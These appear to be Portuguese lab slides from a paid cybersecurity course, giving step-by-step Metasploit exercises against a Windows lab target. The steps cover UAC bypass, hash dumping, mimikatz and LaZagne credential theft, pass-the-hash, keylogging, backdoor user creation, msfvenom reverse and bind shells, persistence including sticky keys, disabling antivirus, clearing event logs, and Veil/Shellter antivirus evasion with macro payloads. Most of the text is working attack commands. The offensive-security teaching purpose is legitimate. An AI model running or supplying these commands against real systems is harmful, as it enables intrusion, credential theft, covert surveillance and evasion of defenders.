Control) do Windows.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 8 (escalação de privilégio)
4 – Realizando o bypass no User Account Control.
a – Saia do meterpreter e volte para o shell do msfconsole.
background

b – Selecionar o Exploit bypassuac_injection


use exploit/windows/local/bypassuac_injection

c – Configurar a sessão do exploit com o número da sessão atual que está usando no meterpreter.
sessions –l (lista as sessões caso não saiba o número da sessão)
set session 1 (insira o número da sessão que está usando)

d – Selecionar o tipo de alvo sendo 0 para sistemas operacionais de 32 bit e 1 para sistemas operacionais de 64 bit.
set target 1

e – Selecionar e configurar o payload de exploração.


set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.16.10
set LPORT 7777

f – Iniciar a exploração
exploit -j -z (se tiver falhas na exploração utilize o exploit exploit/windows/local/bypassuac. Se as falhas continuarem siga as DICAS informadas
na configuração do laboratório)

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 8 (escalação de privilégio)
5 – Pressionar ENTER e verificar as sessões abertas. Interagir com a nova sessão criada pelo exploit bypassuac.
sessions –l (letra L)
sessions –i 1 (numero da nova sessão)

6 – Após abrir o shell do meterpreter verifique qual o seu usuário/privilégio.


getuid

7 – Obtenha o privilégio de sistema.


getsystem

O que aconteceu?

8 – Verifique qual o seu usuário/privilégio.


getuid

Qual usuário você está utilizando agora?

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exfiltration
Senhas

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 9 (Obtendo o hash)
1 – Continuando o exercício anterior, após obter o privilégio de SYSTEM, obtenha o hash da senha dos usuários do sistema operacional
executando os comandos a seguir.
hashdump
run post/windows/gather/smart_hashdump

O que aconteceu?

Se você não conseguiu obter o hash você não está com o privilégio adequado.

2 – Para obter o privilégio adequado migre o seu processo para o lsass.exe (Local Security Authority Subsystem Service).
getpid (procurar o processo lsass.exe)
migrate <PID do processo lsass.exe)
E execute novamente os comandos indicados no passo 1.

Abra o editor de texto(gedit), anote os hashes e salve o arquivo como senhas.txt no caminho /tmp.
Será algo parecido como: Administrator:500:aad3b435b51404eeaad3b435b51404ee:d208bd92b52f7cb48eb64c53dbd34552:::
O hash será utilizado no próximo exercício.

Qual a diferença entre estes três comandos executados para obter o hash?

3 – No Windows, abra o gerenciador de tarefas, encontre o processo do ICECAST e o finalize. O que aconteceu com a sua conexão da
invasão? Por quê?

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MIMIKATZ

O mimikatz é uma ferramenta que tem como objetivo explorar a autenticação do


Windows. Utilizando o mimikatz será possível obter senhas em formato texto, hash,
códigos de PIN e tickets de kerberos da memória. Também será possível utilizar o mimikatz
para realizar pass-the-hash, pass-the-ticket ou criar Golden tickets.

Onde posso obter:

Última versão do binário pré-compilado


https://github.com/gentilkiwi/mimikatz/releases/latest

Sources
https://github.com/gentilkiwi/mimikatz

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MIMIKATZ – Comandos Úteis
log
privilege::debug

Sekurlsa
sekurlsa::logonpasswords
sekurlsa::tickets /export
sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

Kerberos
kerberos::list /export
kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670
/krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MIMIKATZ – Comandos Úteis

Crypto
crypto::capi
crypto::cng
crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
crypto::keys /export crypto::keys /machine /export

Valt
vault::cred
vault::list token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert
lsadump::dcsync /user:domain\krbtgt /domain:lab.local

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MIMIKATZ – Windows 8.1 e 10
Extraindo senhas em texto puro de usuários Windows 8.1 e Windows 10 de um provedor WDigest.

Quando a Microsoft lançou o Windows 8.1 ela adicionou algumas características de segurança que removeram a
habilidade de ferramentas como o mimikatz e WCE para realizar o dump de credencias em texto puro da
memória LSA.

Estas funcionalidades estão disponíveis para versões do Windows anteriores ao Windows 8.1 através da correção
de segurança https://support.microsoft.com/en-us/kb/2871997.

Como o WDigest é usado por muitos produtos (como o IIS) a Microsoft deixou o Wdigest provider ativo. O
Windows 8.1 traz uma configuração de chave de registro que permite desativar o armazenamento de credenciais
em texto puro do Wdigest provider.

(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential)
como o valor padrão de 0, mesmo não aparecendo no Windows 8.1. Isto significar que não irá suportar
credenciais de logon armazenadas em texto puro na memória LSA.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
MIMIKATZ – Windows 8.1 e 10

Extraindo senhas em texto puro de usuários Windows 8.1 e Windows 10.

Adicionar a chave de registro


reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Pelo meterpreter
reg createkey -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t
REG_DWORD -d 1

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
WCE – Windows Credential Editor

Windows Credentials Editor (WCE) é uma


ferramenta de segurança para listar sessões de
logon e adicionar, mudar, listar e deletar
credenciais associadas (ex.: LM/NT hashes,
senhas em texto e tickets Kerberos).

O WCE pode ser usada para realizar pass-the-


hash no Windows, obter os hashes NT/LM da
memória (de logins interativos, serviços,
conexões remotas de desktop remote desktop
entre outros), obter tickets de Kerberos e
reutiliza-los em outros sistemas Windows ou
Unix, e realizar o dump de senhas em texto puro
O WCE poder ser obtido no endereço:
que forma entradas por usuários no logon. http://www.ampliasecurity.com/research/win
dows-credentials-editor/

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
WCE – Windows Credential Editor

Obter credenciais da memória


wce

Modificar minhas credenciais NTLM


wce.exe -s <username>:<domain>:<lmhash>:<nthash>

Obter credenciais de logon da memória em clear text


wce –w

Salvar o resultado obtido em um arquivo texto


wce –o

Gerar um hash NTLM


wce -g

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
LaZagne

O LaZagne é uma aplicação que


obtém as senhas armazenadas no
computador local. Com o objetivo de
localizar senhas dos softwares mais
comuns, o LAZGNE suporta 22
programas na plataforma microsoft
Windows e 12 em sistemas
operacionais Linux/Unix.

O LaZagne poder ser obtido no endereço:


https://github.com/AlessandroZ/LaZagne/releases/

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
LaZagne

Obter a senha de todos os softwares possíveis


laZagne.exe all

Obter a senha de um software em especifico


laZagne.exe browsers
(onde browsers é o software)

Gravar a senha em um arquivo texto


laZagne.exe all –w

Ajuda
laZagne.exe all –w

Lembre-se que para conseguir algumas senhas será


necessário realizar o bypass no UAC antes de executar o
LaZgne.
Softwares Suportados
Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 10 (Quebrando a senha)
1 – Abra um novo terminal (shell) e verifique o arquivo criado com os hashes.
cat /tmp/senhas.txt

2 – Instalar o John The Ripper (Não fazer no KALI)


cd /opt
wget http://www.openwall.com/john/j/john-1.8.0-jumbo-1.tar.xz
tar -xvJf john-1.8.0-jumbo-1.tar.xz
mv john-1.8.0-jumbo-1 john
rm john-1.8.0-jumbo-1.tar.xz
su
cd john/src
./configure
make –sj <quantidade de cores configurados para a sua máquina virtual no VMWARE>
Exemplo: make –sj 4

3 – Executar o John para obter a senha através dos hashes capturados.


john --format=nt /tmp/senhas.txt

4 – Quais foram as senhas que o John descobriu?

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Movimentação Lateral
Passh the Hash

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 11 (Pass the hash)
1 - Procurar pelo exploit psexec.
search psexec

2 – Selecionar o exploit psexec.


msf > use exploit/windows/smb/psexec

3 – Configurar o payload de conexão reversa HTTP do meterpreter.


msf exploit(psexec) > set payload windows/meterpreter/reverse_https

4 – Verificar as opções de configuração.


show options

5 – Realizar a configuração para que o payload realize a conexão reversa em seu computador, na porta TCC 443.

6 – Configurar o usuário e hash para a exploração. (é essencial que tenha realizado o Passo ZERO do exercício 5 e o passo 3 do exercício 6).
set smbuser <usuario>
set smbpass <hash>

Exemplo - Usando o hash:


Administrador:500:aad3b435b51404eeaad3b435b51404ee:d208bd92b52f7cb48eb64c53dbd34552:::
A configuração seria:
set smbuser administrador
set smbpass aad3b435b51404eeaad3b435b51404ee:d208bd92b52f7cb48eb64c53dbd34552

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 11 (Pass the hash)
7 – Executar a exploração.
exploit -j –z

8 – Interagir com a sessão aberta e acessar o meterpreter.

9 – Obter privilégio de sistema. (Talvez seja necessário executar o bypassuac, consulte o passo 4 do exercício 5).

10 – Obter o hash.

11 – Verifique qual processo você utiliza na exploração e qual é o processo do explorer.exe.

12 – Migre para o processo explorer.exe.


migrate <número do processo do explorer.exe>
Ou
run migrate –n explorer.exe

Para que tenha acesso a recursos do alvo, como tela, teclado, webcam e outros dispositivos com os quais o usuário interage, é necessário que seja
realizada a migração para o processo explorer.exe.

13 – Obtenha um screenshoot da tela do alvo.


screenshot –p /tmp/tela.jpg

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 11 (Pass the hash)

14 – Ative o Keylogger.

a - Iniciar a captura do teclado.


keyscan_start

b - Abra o bloco de notas no Windows 7 e digite algo.


Volte ao meterpreter e digite o comando a seguir para visualizar o conteúdo capturado.
keyscan_dump

c - Desative o keylogger.
keyscan_stop

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 12 (usando módulos)
1 – Continuando a partir da exploração do exercício anterior, criar o usuário hacker com privilégios administrativos, mas antes obtenha privilégio de
SISTEMA.
use incognito (carrega o módulo Incognito)
add_user hacker minhasenha (digite uma senha de sua escolha no lugar de minhasenha)
add_localgroup_user Administradores hacker

2 – Obter hash dos usuários.


run migrate -n lsass.exe
hashdump

3 – Ativar o serviço RDP no computador alvo.


run getgui –e

4 – Abrir o shell do Linux e acessar a estação de trabalho alvo através do RDP.


a - Realizar download da ferramenta freerdp-x11.
apt-get install freerdp-x11

b – Executar o rdesktop no computador alvo.


xfreerdp /v:<IP DO ALVO> /u:hacker(não executar o rdesktop com o comando ).
Se tiver problemas, execute o comando ”run getcountermeasure -d” no Meterpreter e tente novamente.

c- Acessar o computador alvo através do RDESKTOP com o usuário hacker e senha configurada.

5 – Fechar a tela do remote desktop e sair do meterpreter.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 13 (backdoor com msfvenom)
1 – Crie o seu malware com o encode shikata_ga_nai.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.16.10 LPORT=443 -e x86/shikata_ga_nai -i 20 -f exe > /tmp/malware.exe

2 – Disponibilize o malware por um webserver.


cd /tmp
python –m SimpleHTTPServer 80

3 – Abra o metasploit em outra janela do terminal escutando na porta 443 de uma conexão reversa do meterpreter.
msfconsole
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.16.10
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set exitonsession false
msf exploit(handler) > exploit -j -z

Antes de executar o MALWARE você deve ter alguém preparado para receber a conexão. Está é a função do multi/handler, que neste caso ficará
escutando e esperando para receber a conexão reversa do meterpreter.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 13 (backdoor com msfvenom)
4 – No Windows você deverá abrir o browser acessando o IP de seu computador (LINUX – DEBIAN) e fazer download do malware para
o seu desktop.
http://192.168.16.10/malware.exe

5 – Executar o malware.

6 – No C:\ do Windows criar uma pasta chamada Confidencial e dentro desta pasta criar um arquivo texto com o nome de secreto.txt,
escrevendo o texto SECRETO dentro do arquivo.

7 – Voltar para Debian Linux e no metasploit interagir com a sessão do meterpreter.

8 – Obter o privilégio de SISTEMA no computador alvo.

9 – Obter o hash.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 13 (backdoor com msfvenom)

10 – realizar o download do arquivo secreto.


download c://confidencial//secreto.txt /tmp/

Se não conseguiu talvez o nome do seu arquivo esteja errado. Verifique o nome do arquivo e tente realizar o download com
o comando.
download c://confidencial//secreto.txt.txt

11 – realizar download da calculadora do windows para a pasta /tmp.


download c://windows//system32//calc.exe /tmp/calc.exe

12 – Limpar os logs do Event Viewer do Windows para dificultar a tentativas de identificação de seu ataque.
clearev

13 – Encerre a exploração realizada.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 14 (shell para meterpreter)
0 – Confirme se o Firewall do Windows está desativado.

1 – Gerar o seu malware.


msfvenom -p windows/shell_bind_tcp LPORT=6666 -f exe > /tmp/malware2.exe

2 – Disponibilize o malware por um webserver.


cd /tmp
python -m SimpleHTTPServer 80

3 – Realize download do malware no desktop do Windows e execute o arquivo.

4 – no shell do linux execute o comando.


nc 192.168.16.20 6666
Será aberto um shell

5 – Sai do shell com o comando exit e execute novamente o arquivo malware2.exe no Windows.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 14 (shell para meterpreter)
6 – Abra o msfconsole e execute o multi/handler usando o mesmo payload da arquivo malware3.exe.

msfconsole
msf > use multi/handler
msf exploit(handler) > set payload windows/shell_bind_tcp
msf exploit(handler) > set RHOST 192.168.16.20
msf exploit(handler) > set LPORT 6666
msf exploit(handler) > set exitonsession false
msf exploit(handler) > exploit -j –z

7 – Liste a sessão. Agora você possui uma sessão do tipo shell.


sessions –l

8 – Transforme a sessão em uma sessão do tipo meterpreter.


sessions –u <número da sessão>

9 – Listar a sessão e interagir com a sessão meterpreter.


sessions –l
Qual a diferença entre a sessão do shell do Windows e do Meterpreter?

sessions –i <número da sessão meterpreter>

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 14 (shell para meterpreter)

10 – Obter privilégio de sistema.

11 – Obter o hash.

12 – Acessar o alvo através do VNC.


run vnc

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 15 (persistência)

1 – Comprometer o alvo usando alguma das técnicas que você aprendeu.

2 – Obter o privilégio de sistema.

3 – Migrar para o processo lsass.exe.

4 – Desativar antivirus e defesas do alvo.


run getcountermeasure -d –k

5 – Realizar a enumeração do alvo.


run winenum

Analisar as informações coletadas com o winenum


(Atentar-se ao local salvo no início da execução do winenum “Saving report to”.)

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 15 (persistência)

6 – Criar a persistencia para o alvo sempre se conectar em você.


run persistence –A –U –X –i 30 –p 443 –r 192.168.16.10

7 – Reiniciar o Windows e logar como o mesmo usuário que foi comprometido.

8 – Aguardar a conexão no meterpreter.

9 – Obter privilégio de SYSTEM. DICAS

use exploit/windows/local/persistence
set STARTUP SYSTEM
set SESSION <NUMERO DA SUA SESSÃO DA INVASÃO>
set payload windows/meterpreter/reverse_https
set LHOST <IP DO KALI>
set LPORT 443
exploit

PERSISTENCIA DENTRO DO METERPRETER


run persistence -p windows/meterpreter/reverse_tcp -r 10.0.0.132 -p 443 -A -X -i 30

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 16 (Exploração completa)
1 – Comprometer o alvo com alguma técnica que você aprendeu.
(Lembre-se de que você não pode ser detectado, seja discreto e use um payload de conexão reversa que seja criptografado e não chame a atenção)

2 – Obter informações inciais do alvo (sysinfo).

3 – Escalar privilégio para SYSTEM.

4 – Desativar defesas do alvo. (antivírus e firewall)

5 – Obter hashes do usuário.

6 – Obter senha em formato de texto.

7 – Ativar persistência.

8 – Ativar Keylogger.

9 – Ativar o acesso RDP no alvo.

10 – Realizar a enumeração (winenum).

11 – Realizar o acesso via VNC e reiniciar o computador alvo.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 16 (Exploração completa)
12 – Verificar se a persistência funcionou após o computador ser reiniciado.

13 – No alvo, criar um usuario chamado hacker e inseri-lo no grupo de administradores locais.

14 – Acessar o alvo através de RDP usando o usuário hacker e em seguida fechar a sessão RDP.

15 – Ativar a persistência através do sticky keys.


run post/windows/manage/sticky_keys

16 – Acessar o alvo via RDP e testar o acesso via sticky keys.


Abrir a sesão de RDP mas não inserir o usuário e senha. Apertar a TECLA SHIFT 5 vezes. Será aberto um shell do Windows com privilégio de sistema que
fornecerá controle total do ambiente.

17 – Limpar logs de evento do computador alvo.

Agora você pode voltar ao alvo quando quiser e de diferentes formas. Matenha o alvo monitorado.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Bypass Antivirus
VEIL

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Veil-Evasion – Introducão
O Veil-Evasion (https://www.github.com/Veil-
Framework/Veil-Evasion/) é uma ferramenta
para gerar arquivos executáveis de um
payload com o objeto de não ser detectado
por soluções de antivírus. O Veil gerará
payloads aleatórios e únicos, podemos comparar
estes payloads a malwares polymorphic que
mudam quando se movem de um host para o
outro, dando a eles a vantagem sobre as solucoes
antimalware tradicionais baseados em assinaturas,
como a maioria dos antivirus.

O Veil-Evasion é parte do Veil-Framework


(https://github.com/Veil-Framework/Veil), que é
uma coleção de ferramentas de segurança
ofensivas que implementam vários métodos de
ataque focados en evitar a deteção.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Veil-Evasion – Linguagens dos Payloads

A partir do Veil-Evasion será possível gerar payloads de forma automática utilizando


linguagens como:

C C# GO Perl

Powershell Python Ruby

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Veil-Evasion – Tipos dos Payloads

A partir do Veil-Evasion será possível utilizar payloads como

meterpreter/rev_tcp meterpreter/rev_http meterpreter/rev_https

shellcode_inject/virtual

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Veil-Evasion – Gerando o Payload

• Lista os payloads existentes


list

• Exibe informações sobre o payload


info

• Seleciona um payload para ser utilizado


use

• Exibe que informações do payload deverão ser configuradas


options

• Configura as opções necessárias para o payload (set LHOST <IP LOCAL> | set LPORT <PORTA DO HOST LOCAL>
set

• Gera o payload
generate

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Veil-Evasion - Gerando o Payload
Exemplo:

[menu>>]: list
[menu>>]: info 32
[menu>>]: use 32
[python/meterpreter/rev_https>>]: options
[python/meterpreter/rev_https>>]: set LHOST 10.0.0.200
[i] LHOST => 10.0.0.200
[python/meterpreter/rev_https>>]: set LPORT 443
[i] LPORT => 443
[python/meterpreter/rev_https>>]: generate
[>] Please enter the base name for output files (default is 'payload'): payload_python
[>] Please enter the number of your choice: 2

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Veil-Evasion - Gerando o Payload

Resultado final:

[*] Executable written to: /root/veil-output/compiled/payload2.exe


Language: python
Payload: python/meterpreter/rev_https Required
Options: COMPILE_TO_EXE=Y LHOST=10.0.0.200 LPORT=443
USE_PYHERION=N
Payload File: /root/veil-output/source/payload2.py
Handler File: /root/veil-output/handlers/payload2_handler.rc

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Veil-Evasion – Command Line

Através de linha de compando será possível criar payloads, assim como os criados pelos
msfvenon.

veil-evasion.py -p go/meterpreter/rev_https -c LHOST=$lhost LPORT=$port –o payload

-p = selecionar o payload
-c = informar as opções de configuração do payload
-o = arquivo de saída para o fonte e binários compilados.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Veil-Evasion – Exploração
• Gero payload através de linha de comando ou menu do VEIL
Gerar Payload

• Abro o msfconsole usando o handler criado pelo veil (msfconsole -r /root/veil-output/handlers/meupayload.rc


Ativar
multi/handler

• Envio e executo o payload no alvo usando técnicas como engenharia social ou psexec.
Enviar e executar
payload no alvo

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Bypass Antivirus
Shellter

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Shellter – Introducão

Executáveis criados através Metasploit, ou por outros


framworks de teste de penetração, serão provavelmente
detectados pela maioria de fornecedores de antivírus.

Usando Shelter, você automaticamente tem um template


executável polimórico, já que você pode usar qualquer
executável 'autônomo' nativo de 32 bits do Windows executável
para hospedar seu shellcode. Por 'autônomo' significa um
executável que não é estaticamente ligado a qualquer DLLs de
propriedade, além daqueles incluído por padrão no Windows.

O Shellter será capaz de infectar outros arquivos


executáveis mantendo a funcionalidade original
do arquivo infectado.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Shellter – Introducão
O Shellter é uma ferramenta para a injeção de shellcode de forma dinâmica, sendo um PE infector (etenda
PE como um Portable Executable – arquivo executável portátil) dinâmico. Ele pode ser usada para injetar
shellcode em aplicações Windows (somente 32-bit). O shellcode pode ser algo seu ou algo gerado através
de um framework como o Metasploit.

O Shellter tira vantagem da estrutura atual de um arquivo PE e não aplica qualquer modificação que mudará
a permissão como de alteração em permissões de acesso em seções da memória
(a menos que o usuário precise), adicionando uma seção estra com acesso RWE.

O Shellter não é apenas um infector EPO que tenta encontrar um local para inserir uma instrução para
redirecionar a execução para o payload. Ao contrário de outros infectors, o engine avançado de infecção do
Shellter, nunca transfere o fluxo de execução para um code cave ou para uma secão adicionada no arquivo
PE infectado.

Você pode realizar download do Shellter através do endereço


https://www.shellterproject.com/download/

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Shellter – Exploração
• Verifico se o meu PE é adquado e não é reconhecido por fornecedores de antivírus.
Seleciono o meu
PE

•Infecto o PE por algum payload.


Infecto o PE
Caso o Shellter detecte que o Payload é “package” devo selecionar outro PE.

•Ativo o Multi/handler do msfconsole para receber a conexão do payload.


Ativo o meu
listener

• Envio e executo o payload no alvo usando técnicas como engenharia social ou psexec.
Enviar e executar
payload no alvo

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 17 – Instalação do Veil Framework

1 – Abra o shell do KALI (terminal) e seguir as instruções abaixo.


cd ˜
mkdir Tools
cd Tools

2 – Realizar a clonagem do repositório de instalação do VEIL FRAMEWORK.


git clone https://github.com/Veil-Framework/Veil.git

3 – Iniciar o processo de instalação do VEIL FRAMEWORK.


cd Veil
./Install.sh -c (Será iniciado o processo de clonagem do repositório de instalação por completo do Veil Framework)

Continue With Installation? ([y]es/[s]ilent/[N]o): y

Quando for exibido a tela de instalação do Python e outras ferramentas,realizar a instalação usando as opções padrões (NEXT -> NEXT
-> FINISH)

Se tiver problemas no acesso do Veil-Evasion delete o seu perfil do wine e execute o setup do Veil-Evasion.
rm -rf ~/.wine/
/root/Tools/03_Exploitation/Veil/Veil-Evasion/setup/setup.sh

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 18 – Geração de payloads
1 – Inicie o Veil-Evasion
cd ~
cd Tools/Veil/Veil-Evasion
./Veil-Evasion.py

2 – Listar os payloads disponíveis no Veil-Evasion.


list

3 - Solicite informações sobre o payload python/meterpreter/rev_https.


info 32

4 - Selecione o payload python/meterpreter/rev_https para ser utilizado.


use 32

5 - Verificar as informações que devem ser configuradas no payload.


options

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 18 – Geração de payloads
6 – Configurar as informações necessárias do payload.
set LHOST <IP DO SEU LINUX>
set LPORT 443
set USE_PYHERION Y (Fará a criptografia no payload)

7 - Gerar o payload.
generate
Quando for solicitado o nome do payload, informe: python_payload
Quando percuntado sobre como você deseja criar o seu payload, selecione: 2 – Pwnstaller (Compilará o payload evitando o DEP do Windows)

7 - Copiar o payload para o alvo e solicitar que seja efetuada a varredura do antivírus no payload copiado.

8 - Ativar o multi/handler no msfconsole utilizando as mesmas configurações realizadas no payload.


msfconsole -r /root/veil-output/handlers/python_payload_handler.rc

9 - Executar o payload no alvo e confirmar a exploração.

10 – Repita o exercício usando os payloads a seguir e compare o tamanho entre os arquivos de payload gerados.
• go/meterpreter/rev_https;
• cs/meterpreter/rev_https

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 19 – Veil + Shellcode
1 – Selecione o payload go/shellcode_inject/virtual
use go/shellcode_inject/virtual

2 – Verifique as configurações e gere o payload


options
generate

3 – Preparar o shell code


A. Selecionar a opção de shell code msfvenom (default);
B. Selecionar o payload digitando windows/x64/meterpreter/reverse_https
C. Informar o LHOST e LPORT
D. Pressionar enter, sem informar opcoes adicionais para o msvenon

4 - Definir o nome go_shellcode para o payload

5 – Copiar o Payload para o alvo e preparar o multi/handler para receber a conexão.

6 - Executar o payload no alvo e confirmar a exploração.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 20 – Veil CLI
1 – Abra o shell de sua distribuição Linux (terminal).

2 – Gere um novo payload go/meterpreter/rev_https.


./Veil-Evasion.py -p go/meterpreter/rev_https -c LHOST=10.0.0.200 LPORT=443 -o go_cli_payload

-p = selecionar o payload
-c = informar as opções de configuração do payload
-o = arquivo de saída para o fonte e binários compilados.

3 – Copie o payload para o alvo.

4 – Copiar o Payload para o alvo e preparar o multi/handler para receber a conexão.

5 - Executar o payload no alvo e confirmar a exploração.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 21 – Gerando Macros
1 – Selecione o payload powershell/meterpreter/rev_https
[menu>>]: use 23

2 – Configure o payload
[powershell/meterpreter/rev_https>>]: set LHOST 10.0.0.200
[powershell/meterpreter/rev_https>>]: set LPORT 443
[powershell/meterpreter/rev_https>>]: generate

Quando solicitado o nome do arquivo, insira powershell.

3 – Copie o path do payload gerado


/root/veil-output/source/powershell.bat

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 21 – Gerando Macros

4 – Selecione o auxiliar auxiliary/macro_converter


[menu>>]: use 2

5 – Configure o auxiliar apontando o arquivo gerando no passo 2.


[auxiliary/macro_converter>>]: set POSH_BATCH /usr/share/veil-output/source/macro.bat
[auxiliary/macro_converter>>]: generate

6 – Visualize o macro gerado.


/usr/share/veil-output/source/macrofinal.txt

Este arquivo poderá ser adicionado como macro em aplicativos do Microsoft Office como Word ou Excel.

Em exercícios seguintes você testará o arquivo MACRO.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 22 – Veil e PSEXEC
(Movimentação Lateral)

1 – Gere um payload através de linha de comando no Veil

2 – Ative o multi/handler no msfconsole para receber a conexão do payload que você gerou.

